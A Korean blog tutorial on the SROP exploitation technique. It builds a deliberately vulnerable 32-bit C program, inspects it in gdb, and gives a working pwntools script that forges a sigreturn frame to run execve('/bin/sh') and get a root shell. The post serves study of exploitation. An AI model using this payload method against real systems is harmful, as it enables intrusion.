시작
안녕하세요 :D
rop공룡 잡은 감동이 아직까지 이어지고 있습니다ㅎㅎㅎㅎ
내친김에 더 고오오오급 기법인 srop까지 정리해보려구 합니다!!
시작해보죠!!
참고했습니당 [https://www.lazenca.net/display/TEC/01.SROP%28Sigreturn-oriented+programming%29+-+x86]
SROP?
SROP, Sigreturn Oriented Programming의 약자입니다. 말 그대로 SigReturn()
을 사용해서 터뜨리는 거에요.
프로그램은 user mode
와 kernal mode
가 있는데, user mode
에서는 사용할 수 있는 자원이나 영역이 제한적이지만
kernel mode
에선 모든 자원에 접근할 수 있습니다.
이 두 모드는 왔다갔다 하면서 자원 공유를 필요로 합니다.
user mode
에서 kernal mode
로 진입 시 user mode
에서 사용중이던 자원을 Kernal Stack
에 저장합니다.
그리고 kernal mode
에서 user mode
로 진입 시 Kernal stack
을 초기화합니다.
이 때 setup_frame()
과 sigreturn()
함수가 사용되는데요.
setup_frame()
함수는 user mode
의 stack을 설정해줍니다.
sigreturn()
함수는 stack을 복원하기 위해 사용되는 함수입니다.
좀 더 자세하게 들여다보면, kernal mode
에서 user mode
로 돌아올 때 sigreturn()
함수는 restore_sigcontext()
를 호출합니다.
호출된 restore_sigcontext()
함수는 copy()
같은 함수를 사용하여 stack에 저장된 값을 레지스터에 복사하죠.
간단하게 말하자면 우리가 스택에 넣어준 값들이 sigreturn()
의 호출을 통해 레지스터에 저장될 수 있다는 것입니다.
어떤 규칙으로 복사가 될까요? sigcontext
구조체를 살펴보면 쉽게 확인할 수 있습니다.
struct sigcontext {
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate *fpstate;
unsigned long oldmask;
unsigned long cr2;
};
sigreturn()
함수를 호출할 수만 있다면 우리는 레지스터에 우리가 원하는 값들을 넣는 것이 가능해집니다.
어떻게 시스템 콜을 불러올 수 있을까요?
쉘 코드를 제작해보신 분들이라면 쉽게 답이 나오셨을 거에요 :D
int 0x80
을 이용하는 것입니다.
이 명령은 eax
에 저장된 함수를 호출합니다.
sigreturn()
을 위한 시스템 콜 번호는 119
번 입니다. eax
에 119
를 넣어준 후 int 0x80
을 실행한다면 sigreturn()
이 실행되겠네요.
표시된 11
번도 쉘 코드 작성이나 Exploit 할 때 사용되니 기억해두세요!!
eax
에 119
를, RETURN
에 int 0x80
을 넣고 (= sigreturn()
실행)
sigcontext
구조체에 맞게 값을 넣어주면 스택에 저장된 값들이 kernel mode
에서 user mode
로 넘어오며 레지스터에 들어갑니다.
이론은 이 정도로 정리하면 되겠네요!!
간단하게 코드를 짜보겠습니다.
root@goorm:/workspace/LCH_Server/srop# cat srop.c
#include <stdio.h>
char sh[] = "/bin/sh\x00";
void int80() {
asm("int $0x80");
}
void main() {
char buf[8];
read(0, buf, 128);
}
(스택 보호 기법들을 해제해 준 뒤 32bit로 컴파일 해주시면 됩니다.)
read()
함수는 받아들인 bytes를 eax에 저장합니다. 따라서 read()
가 119 bytes만큼 읽는다면 eax
에 119
가 담기겠죠?
얘는 끝에 0x10
, data link escape가 자동으로 들어가기 때문에 118 bytes만 직접 입력해주겠습니다.
이제 sigreturn()
이 얼마나 무서운 놈인지 보자구요
read()
직후에 bp를 걸고 달립니다!!
Breakpoint 1, 0x08048439 in main ()
gdb-peda$ i r
eax 0x77 0x77
ecx 0xfffde200 0xfffde200
edx 0x80 0x80
ebx 0xf76f6000 0xf76f6000
esp 0xfffde1f4 0xfffde1f4
ebp 0xfffde208 0xfffde208
esi 0x0 0x0
edi 0x0 0x0
eip 0x8048439 0x8048439 <main+22>
eflags 0x203 [ CF IF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63
성공적으로 eax
에 0x77
, 119가 들어갔네요.
이 상태에서 RET 자리에 int 0x80
을 넣어주면 sigreturn()
이 뿅 하고 나올거에요
gdb-peda$ x/40wx $esp
0xfffde1f4: 0x00000000 0xfffde200 0x00000080 0x41414141
0xfffde204: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde214: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde224: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde234: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde244: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde254: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde264: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde274: 0x080a4141 0x00000000 0x08048341 0x08048423
0xfffde284: 0x00000001 0xfffde2a4 0x08048440 0x080484b0
gdb-peda$ set {int}0xfffde20c = 0x804841e
gdb-peda$
gdb-peda$ x/40wx $esp
0xfffde1f4: 0x00000000 0xfffde200 0x00000080 0x41414141
0xfffde204: 0x41414141 0x41414141 0x0804841e 0x41414141
0xfffde214: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde224: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde234: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde244: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde254: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde264: 0x41414141 0x41414141 0x41414141 0x41414141
0xfffde274: 0x080a4141 0x00000000 0x08048341 0x08048423
0xfffde284: 0x00000001 0xfffde2a4 0x08048440 0x080484b0
RET 위치만 int 0x80
으로 바꿨습니다. 진행해보죠
gdb-peda$ i r
eax 0x77 0x77
ecx 0xfffde200 0xfffde200
edx 0x80 0x80
ebx 0xf76f6000 0xf76f6000
esp 0xfffde210 0xfffde210
ebp 0x41414141 0x41414141
esi 0x0 0x0
edi 0x0 0x0
eip 0x804841e 0x804841e <int80+3>
eflags 0x296 [ PF AF SF IF ]
cs 0x23 0x23
ss 0x2b 0x2b
ds 0x2b 0x2b
es 0x2b 0x2b
fs 0x0 0x0
gs 0x63 0x63
gdb-peda$ ni
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$ i r
eax 0x0 0x0
ecx 0x41414141 0x41414141
edx 0x41414141 0x41414141
ebx 0x41414141 0x41414141
esp 0x41414141 0x41414141
ebp 0x41414141 0x41414141
esi 0x41414141 0x41414141
edi 0x41414141 0x41414141
eip 0x41414141 0x41414141
eflags 0x10243 [ CF ZF IF RF ]
cs 0x4143 0x4143
ss 0x4143 0x4143
ds 0x0 0x0
es 0x0 0x0
fs 0x0 0x0
gs 0x0 0x0
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ??
레지스터 터진 것 좀 보세요 대박
저게 어떻게 덮인 것이냐.. 는 바로 위에 설명되어 있습니다,
무작정 A를 때려박았지만 우리의 프로그램은 sigcontext
의 문법에 맞추어
열심히 레지스터에 넣어준 것이에요.
자 이제 레지스터를 조작할 수 있다는 것이 증명되었습니다!!
쉘을 따는 시나리오를 짜볼까요?
1.
read()
에서 119 bytes만큼 읽기, (=eax
에119
저장)2. RET 주소를
int 0x80
의 주소로 덮기3.
sigcontext
에 맞게 페이로드 구성3.1.
eip
에int 0x80
(=시스템 콜 한번 더 실행)3.2. ‘eax’에
11
(=execve 실행)3.3.
ebx
에/bin/sh
주소 (=쉘 실행)
하나하나 구해보겠습니다.
gdb-peda$ find "/bin/sh\x00"
Searching for '/bin/sh\x00' in: None ranges
Found 1 results, display max 1 items:
srop : 0x804a020 ("/bin/sh")
gdb-peda$ pdisas int80
Dump of assembler code for function int80:
0x0804841b <+0>: push ebp
0x0804841c <+1>: mov ebp,esp
0x0804841e <+3>: int 0x80
0x08048420 <+5>: nop
0x08048421 <+6>: pop ebp
0x08048422 <+7>: ret
End of assembler dump.
/bin/sh
의 주소 : 0x804a020
int 0x80
의 주소 : 0x804841e
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x08048423 <+0>: push ebp
0x08048424 <+1>: mov ebp,esp
0x08048426 <+3>: sub esp,0x8
0x08048429 <+6>: push 0x80
0x0804842e <+11>: lea eax,[ebp-0x8]
0x08048431 <+14>: push eax
0x08048432 <+15>: push 0x0
0x08048434 <+17>: call 0x80482f0 <read@plt>
0x08048439 <+22>: add esp,0xc
0x0804843c <+25>: nop
0x0804843d <+26>: leave
0x0804843e <+27>: ret
End of assembler dump
BUF 8 bytes | SFP 4 bytes | RET 4 bytes
구조인 것 까지 파악됐습니다.
1.
/bin/sh
의 주소 : 0x804a0202.
int 0x80
의 주소 : 0x804841e3. BUF 8 bytes | SFP 4 bytes | RET 4 bytes
다 왔습니다. 이제 페이로드를 짜러 가요!!
#!/usr/bin/python
#-*- coding:utf-8 -*-
from pwn import *
p = process("./srop")
payload = ""
int80 = 0x804841e
binsh = 0x804a020
payload += "A" * 12 #BUF + SFP 채우기
payload += p32(int80) #RET Overwrite
payload += p32(0x63) #GS
payload += p32(0x00) #FS
payload += p32(0x2b) #ES
payload += p32(0x2b) #DS
payload += p32(0x00) #EDI
payload += p32(0x00) #ESI
payload += p32(0x00) #EBP
payload += p32(0x00) #ESP
payload += p32(binsh) #EBX, execve()의 인자 "/bin/sh"
payload += p32(0x00) #EDX
payload += p32(0x00) #ECX
payload += p32(0x0b) #EAX, syscall Number = 11 (execve)
payload += p32(0x00) #Trapno
payload += p32(0x00) #ERR
payload += p32(int80) #EIP, (EAX 참조 후 syscall)
payload += p32(0x23) #CS
payload += p32(0x203) #Eflags
payload += p32(0x00) #ESP_at_Signal
payload += p32(0x2b) #SS
payload += "\x00" * (118 - len(payload))
p.sendline(payload)
p.interactive()
gdb에서 i r
명령으로 봤던 레지스터 값이 몇 개 보이시죠?
그대로 GS, FS, ES, DS, Eflags, SS 의 값에 넣어주어야 한다고 하네요. (구글링 해봤는데 ..오묘하네요 더 공부해야겠습니다ㅠ)
다 맞춰준 후 119 bytes를 맞추기 위해 남는 길이를 \x00
으로 채웠습니다.
돌려볼게요!
root@goorm:/workspace/LCH_Server/srop# ./srop_practice.py
[+] Starting local process './srop': pid 836
[*] Switching to interactive mode
$ whoami
root
Exploit!! 쉘이 떨어졌습니다
마무리
사실 srop란 기법이 있는 줄도 몰랐습니다 ㅋㅋㅋㅋㅋ
얼마 전 DEFCON 2019 write up 보는데 speedrun-001번 문제가 srop 문제란 걸 보고
허겁지겁 찾아봤습니다 ㅎ..
64bit도 같이 쓰면 좋을텐데 아직 공부가.. 많이.. 부족합니다ㅠㅠㅠ
더 열심히 찾아보고 뜯어보고 삽질하겠습니다!!
감사합니다 :D
'CTF_Write_UP > etc' 카테고리의 다른 글
[heap] 힙 영역을 ARABOZA (0) | 2019.07.20 |
---|---|
[Pwn] 나도 만들어봤다, 쉘코드!! (0) | 2019.07.14 |
[Facebook CTF 2019] Facebook CTF 시작!! // 후기 (0) | 2019.06.01 |
2019 DEFCON 살짝.. 건드려보기 (0) | 2019.05.12 |
[Stack, BOF] 스택프레임과 버퍼 오버플로우 뜯어보기 #1 (0) | 2019.04.25 |